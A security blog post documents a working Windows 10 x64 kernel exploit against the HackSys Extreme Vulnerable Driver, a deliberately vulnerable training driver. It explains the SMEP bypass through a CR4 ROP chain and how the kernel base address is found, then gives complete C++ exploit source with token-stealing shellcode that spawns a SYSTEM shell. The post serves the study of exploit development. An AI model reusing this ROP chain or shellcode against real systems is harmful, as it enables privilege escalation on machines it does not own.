HEVD Exploits -- Windows 10 x64 Stack Overflow SMEP Bypass
Introduction
This is going to be my last HEVD blog post. This was all of the exploits I wanted to hit when I started this goal in late January. We did quite a few, there are some definitely interesting ones left on the table and there is all of the Linux exploits as well. I’ll speak more about future posts in a future post (haha). I used Hacksys Extreme Vulnerable Driver 2.0 and Windows 10 Build 14393.rs1_release.160715-1616 for this exploit. Some of the newer Windows 10 builds were bugchecking this technique.
All of the exploit code can be found here.
Thanks
- To @Cneelis for having such great shellcode in his similar exploit on a different Windows 10 build here: https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
- To @abatchy17 for his awesome blog post on his SMEP bypass here: https://www.abatchy.com/2018/01/kernel-exploitation-4
- To @ihack4falafel for helping me figure out where to return to after running my shellcode.
And as this is the last HEVD blog post, thanks to everyone who got me this far. As I’ve said every post so far, nothing I was doing is my own idea or technique, was simply recreating their exploits (or at least trying to) in order to learn more about the bug classes and learn more about the Windows kernel. (More thoughts on this later in a future blog post).
SMEP
We’ve already completed a Stack Overflow exploit for HEVD on Windows 7 x64 here; however, the problem is that starting with Windows 8, Microsoft implemented a new mitigation by default called Supervisor Mode Execution Prevention (SMEP). SMEP detects kernel mode code running in userspace stops us from being able to hijack execution in the kernel and send it to our shellcode pointer residing in userspace.
Bypassing SMEP
Taking my cues from Abatchy, I decided to try and bypass SMEP by using a well-known ROP chain technique that utilizes segments of code in the kernel to disable SMEP and then heads to user space to call our shellcode.
In the linked material above, you see that the CR4 register is responsible for enforcing this protection and if we look at Wikipedia, we can get a complete breakdown of CR4 and what its responsibilities are:
20 SMEP Supervisor Mode Execution Protection Enable If set, execution of code in a higher ring generates a fault.
So the 20th bit of the CR4 indicates whether or not SMEP is enforced. Since this vulnerability we’re attacking gives us the ability to overwrite the stack, we’re going to utilize a ROP chain consisting only of kernel space gadgets to disable SMEP by placing a new value in CR4 and then hit our shellcode in userspace.
Getting Kernel Base Address
The first thing we want to do, is to get the base address of the kernel. If we don’t get the base address, we can’t figure out what the offsets are to our gadgets that we want to use to bypass ASLR. In WinDBG, you can simply run lm sm to list all loaded kernel modules alphabetically:
---SNIP---
fffff800`10c7b000 fffff800`1149b000 nt
---SNIP---
We need a way also to get this address in our exploit code. For this part, I leaned heavily on code I was able to find by doing google searches with some syntax like: site:github.com NtQuerySystemInformation and seeing what I could find. Luckily, I was able to find a lot of code that met my needs perfectly. Unfortunately, on Windows 10 in order to use this API your process requires some level of elevation. But, I had already used the API previously and was quite fond of it for giving me so much trouble the first time I used it to get the kernel base address and wanted to use it again but this time in C++ instead of Python.
Using a lot of the tricks that I learned from @tekwizz123’s HEVD exploits, I was able to get the API exported to my exploit code and was able to use it effectively. I won’t go too much into the code here, but this is the function and the typedefs it references to retrieve the base address to the kernel for us:
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
INT64 get_kernel_base() {
cout << "[>] Getting kernel base address..." << endl;
//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);
if (status != (NTSTATUS)0x0) {
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
return (INT64)kernelImageBase;
}
This code imports NtQuerySystemInformation from nt.dll and allows us to use it with the System Module Information parameter which returns to us a nice struct of a ModulesCount (how many kernel modules are loaded) and an array of the Modules themselves which have a lot of struct members included a Name. In all my research I couldn’t find an example where the kernel image wasn’t index value 0 so that’s what I’ve implemented here.
You could use a lot of the cool string functions in C++ to easily get the base address of any kernel mode driver as long as you have the name of the .sys file. You could cast the Modules.Name member to a string and do a substring match routine to locate your desired driver as you iterate through the array and return the base address. So now that we have the base address figured out, we can move on to hunting the gadgets.
Hunting Gadgets
The value of these gadgets is that they reside in kernel space so SMEP can’t interfere here. We can place them directly on the stack and overwrite rip so that we are always executing the first gadget and then returning to the stack where our ROP chain resides without ever going into user space. (If you have a preferred method for gadget hunting in the kernel let me know, I tried to script some things up in WinDBG but didn’t get very far before I gave up after it was clear it was super inefficient.) Original work on the gadget locations as far as I know is located here: http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html
Again, just following along with Abatchy’s blog, we can find Gadget 1 (actually the 2nd in our code) by locating a gadget that allows us to place a value into cr4 easily and then takes a ret soon after. Luckily for us, this gadget exists inside of nt!HvlEndSystemInterrupt.
We can find it in WinDBG with the following:
kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff800`10dc1560 4851 push rcx
fffff800`10dc1562 50 push rax
fffff800`10dc1563 52 push rdx
fffff800`10dc1564 65488b142588610000 mov rdx,qword ptr gs:[6188h]
fffff800`10dc156d b970000040 mov ecx,40000070h
fffff800`10dc1572 0fba3200 btr dword ptr [rdx],0
fffff800`10dc1576 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff800`10dc157e)
nt!HvlEndSystemInterrupt+0x18:
fffff800`10dc1578 33c0 xor eax,eax
fffff800`10dc157a 8bd0 mov edx,eax
fffff800`10dc157c 0f30 wrmsr
nt!HvlEndSystemInterrupt+0x1e:
fffff800`10dc157e 5a pop rdx
fffff800`10dc157f 58 pop rax
fffff800`10dc1580 59 pop rcx // Gadget at offset from nt: +0x146580
fffff800`10dc1581 c3 ret
As Abatchy did, I’ve added a comment so you can see the gadget we’re after. We want this:
pop rcx
ret
routine because if we can place an arbitrary value into rcx, there is a second gadget which allows us to mov cr4, rcx and then we’ll have everything we need.
Gadget 2 is nested within the KiEnableXSave kernel routine as follows (with some snipping) in WinDBG:
kd> uf nt!KiEnableXSave
nt!KiEnableXSave:
---SNIP---
nt! ?? ::OKHAJAOM::`string'+0x32fc:
fffff800`1105142c 480fbaf112 btr rcx,12h
fffff800`11051431 0f22e1 mov cr4,rcx // Gadget at offset from nt: +0x3D6431
fffff800`11051434 c3 ret
So with these two gadgets locations known to us, as in, we know their offsets relative to the kernel base, we can now implement them in our code. So to be clear, our payload that we’ll be sending will look like this when we overwrite the stack:
- ‘A’ characters * 2056
- our
pop rcxgadget - The value we want
rcxto hold - our
mov cr4, rcxgadget - pointer to our shellcode.
So for those following along at home, we will overwrite rip with our first gadget, it will pop the first 8 byte value on the stack into rcx. What value is that? Well, it’s the value that we want cr4 to hold eventually and we can simply place it onto the stack with our stack overflow. So we will pop that value into rcx and then the gadget will hit a ret opcode which will send the rip to our second gadget which will mov cr4, rcx so that cr4 now holds the SMEP-disabled value we want. The gadget will then hit a ret opcode and return rip to where? To a pointer to our userland shellcode that it will now run seemlessly because SMEP is disabled.
You can see this implemented in code here:
BYTE input_buff[2088] = { 0 };
INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
INT64 rcx_value = 0x70678; // value we want placed in cr4
INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;
memset(input_buff, '\x41', 2056);
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode
CR4 Value
Again, just following along with Abatchy, I’ll go ahead and place the value 0x70678 into cr4. In binary, 1110000011001111000 which would mean that the 20th bit, the SMEP bit, is set to 0. You can read more about what values to input here on j00ru’s blog post about SMEP.
So if cr4 holds this value, SMEP should be disabled.
Restoring Execution
The hardest part of this exploit for me was restoring execution after the shellcode ran. Unfortunately, our exploit overwrites several register values and corrupts our stack quite a bit. When my shellcode is done running (not really my shellcode, its borrowed from @Cneelis), this is what my callstack looked like along with my stack memory values:
Restoring execution will always be pretty specific to what version of HEVD you’re using and also perhaps what build of Windows you’re on as the some of the kernel routines will change, so I won’t go too much in depth here. But, what I did to figure out why I kept crashing so much after returning to the address in the screenshot of HEVD!IrpDeviceIoCtlHandler+0x19f which is located in the right hand side of the screenshot at ffff9e8196b99158, is that rsi is typically zero’d out if you send regular sized buffers to the driver routine.
So if you were to send a non-overflowing buffer, and put a breakpoint at nt!IopSynchronousServiceTail+0x1a0 (which is where rip would return if we took a ret out our address of ffff9e8196b99158), you would see that rsi is typically 0 when normally system service routines are exiting so when I returned, I had to have an rsi value of 0 in order to stop from getting an exception.
I tried just following the code through until I reached an exception with a non-zero rsi but wasn’t able to pinpoint exactly where the fault occurs or why. The debug information I got from all my bugchecks didn’t bring me any closer to the answer (probably user error). I noticed that if you don’t null out rsi before returning, rsi wouldn’t be referenced in any way until a value was popped into it from the stack which happened to be our IOCTL code, so this confused me even more.
Anyways, my hacky way of tracing through normally sized buffers and taking notes of the register values at the same point we return to out of our shellcode did work, but I’m still unsure why 😒.
Conclusion
All in all, the ROP chain to disable SMEP via cr4 wasn’t too complicated, this could even serve as introduction to ROP chains for some in my opinion because as far as ROP chains go this is fairly straightforward; however, restoring execution after our shellcode was a nightmare for me. A lot of time wasted by misinterpreting the callstack readouts from WinDBG (a lesson learned). As @ihack4falafel says, make sure you keep an eye on @rsp in your memory view in WinDBG anytime you are messing with the stack.
Exploit code here.
Thanks again to all the bloggers who got me through the HEVD exploits:
- FuzzySec
- r0oki7
- Tekwizz123
- Abatchy
- everyone else I’ve referenced in previous posts!
Huge thanks to HackSysTeam for developing the driver for us to all practice on, can’t wait to tackle it on Linux!
#include <iostream>
#include <string>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222003
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl;
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex
<< (INT64)hFile << endl;
return hFile;
}
void send_payload(HANDLE hFile, INT64 kernel_base) {
cout << "[>] Allocating RWX shellcode..." << endl;
// slightly altered shellcode from
// https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
// thank you @Cneelis
BYTE shellcode[] =
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 2f0h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x68" // mov rax, [rcx + 68h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
"\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token
"\x48\x83\xC4\x40" // add rsp, 040h
"\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash
"\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
"\xc3";
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr
<< endl;
BYTE input_buff[2088] = { 0 };
INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
INT64 rcx_value = 0x70678; // value we want placed in cr4
INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;
memset(input_buff, '\x41', 2056);
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode
// keep this here for testing so you can see what normal buffers do to subsequent routines
// to learn from for execution restoration
/*
BYTE input_buff[2048] = { 0 };
memset(input_buff, '\x41', 2048);
*/
cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl;
DWORD bytes_ret = 0x0;
cout << "[>] Sending payload..." << endl;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
sizeof(input_buff),
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!" << endl;
}
}
INT64 get_kernel_base() {
cout << "[>] Getting kernel base address..." << endl;
//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);
if (status != (NTSTATUS)0x0) {
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
return (INT64)kernelImageBase;
}
void spawn_shell() {
cout << "[>] Spawning nt authority/system shell..." << endl;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}
int main() {
HANDLE hFile = grab_handle();
INT64 kernel_base = get_kernel_base();
send_payload(hFile, kernel_base);
spawn_shell();
}